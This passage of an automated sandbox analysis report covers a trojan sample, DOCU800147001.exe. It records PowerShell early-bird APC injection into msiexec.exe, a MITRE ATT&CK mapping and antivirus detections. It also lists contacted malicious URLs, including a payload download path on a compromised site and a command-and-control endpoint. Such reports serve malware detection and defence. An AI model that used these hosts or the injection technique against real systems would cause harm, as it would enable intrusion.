Source: C:\Users\user\Desktop\DOCU800147001.exe	Code function: 0_2_00402647 FindFirstFileA,	0_2_00402647

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: ModuleAnalysisCache.2.dr	Binary or memory string: Remove-NetEventVmNetworkAdapter
Source: decouple.Chr.0.dr	Binary or memory string: arVMcI}1
Source: msiexec.exe, 00000008.00000002.2616759739.0000000006A02000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW[
Source: powershell.exe, 00000002.00000002.2527630104.0000000005300000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Add-NetEventVmNetworkAdapter@\
Source: ModuleAnalysisCache.2.dr	Binary or memory string: Add-NetEventVmNetworkAdapter
Source: powershell.exe, 00000002.00000002.2527630104.0000000005300000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Remove-NetEventVmNetworkAdapter@\
Source: powershell.exe, 00000002.00000002.2527630104.0000000005300000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Get-NetEventVmNetworkAdapter@\
Source: msiexec.exe, 00000008.00000002.2616759739.000000000699A000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000008.00000002.2616759739.0000000006A02000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: ModuleAnalysisCache.2.dr	Binary or memory string: Get-NetEventVmNetworkAdapter

Source: C:\Users\user\Desktop\DOCU800147001.exe	API call chain: ExitProcess graph end node			graph_0-3395
Source: C:\Users\user\Desktop\DOCU800147001.exe	API call chain: ExitProcess graph end node			graph_0-3253

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\DOCU800147001.exe

Code function: 0_2_00405EA5 GetModuleHandleA,LoadLibraryA,GetProcAddress,

0_2_00405EA5

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Process token adjusted: Debug

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Early bird code injection technique detected

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Process created / APC Queued / Resumed: C:\Windows\SysWOW64\msiexec.exe

Jump to behavior

Queues an APC in another process (thread injection)

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Thread APC queued: target process: C:\Windows\SysWOW64\msiexec.exe

Jump to behavior

Writes to foreign memory regions

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Memory written: C:\Windows\SysWOW64\msiexec.exe base: 3E60000

Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Process created: C:\Windows\SysWOW64\msiexec.exe "C:\Windows\SysWOW64\msiexec.exe"

Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceProcess\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.ServiceProcess.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.SecureBoot.Commands\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.SecureBoot.Commands.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.WindowsAuthenticationProtocols.Commands\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.WindowsAuthenticationProtocols.Commands.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.WindowsAuthenticationProtocols.Commands\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.WindowsAuthenticationProtocols.Commands.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.WindowsAuthenticationProtocols.Commands\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.WindowsAuthenticationProtocols.Commands.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package0012~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\UEV\Microsoft.Uev.Commands.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\WindowsErrorReporting\Microsoft.WindowsErrorReporting.PowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Program Files (x86)\AutoIt3\AutoItX\AutoItX3.PowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.Management.Infrastructure.CimCmdlets\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.CimCmdlets.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.Management.Infrastructure\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.dll VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\DOCU800147001.exe

Code function: 0_2_00405B9C GetVersion,GetSystemDirectoryA,GetWindowsDirectoryA,SHGetSpecialFolderLocation,SHGetPathFromIDListA,CoTaskMemFree,lstrcatA,lstrlenA,

0_2_00405B9C

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Windows Management Instrumentation	1 DLL Side-Loading	311 Process Injection	1 Masquerading	OS Credential Dumping	11 Security Software Discovery	Remote Services	1 Archive Collected Data	1 Encrypted Channel	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	1 Native API	Boot or Logon Initialization Scripts	1 DLL Side-Loading	21 Virtualization/Sandbox Evasion	LSASS Memory	1 Process Discovery	Remote Desktop Protocol	1 Clipboard Data	3 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	2 PowerShell	Logon Script (Windows)	Logon Script (Windows)	311 Process Injection	Security Account Manager	21 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	4 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	14 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Software Packing	LSA Secrets	2 File and Directory Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	14 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
DOCU800147001.exe	18%	ReversingLabs	Win32.Trojan.Generic

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\Ramtils\Formaldehyds\tyngdepunkterne\Kulds\DOCU800147001.exe	18%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Temp\nsx7F0.tmp\nsExec.dll	0%	ReversingLabs

Source	Detection	Scanner	Label
http://b2csa.icu/m32	0%	Avira URL Cloud	safe
http://b2csa.icu/	0%	Avira URL Cloud	safe
http://electricsuitcase.net/wp-includes/block-bindings/wTryLAihFvcVmUK202.bin2	0%	Avira URL Cloud	safe
http://b2csa.icu/PL341/index.phpFv	0%	Avira URL Cloud	safe
http://b2csa.icu/PL341/index.phpal	0%	Avira URL Cloud	safe
http://b2csa.icu/PL341/index.phpVVWT	0%	Avira URL Cloud	safe
http://electricsuitcase.net/wp-includes/block-bindings/wTryLAihFvcVmUK202.bin	0%	Avira URL Cloud	safe
http://b2csa.icu/PL341/index.phpj	0%	Avira URL Cloud	safe
http://b2csa.icu/P5	0%	Avira URL Cloud	safe
http://b2csa.icu/PL341/index.php	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
electricsuitcase.net	107.151.162.135	true	false		unknown
b2csa.icu	104.21.32.1	true	true		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
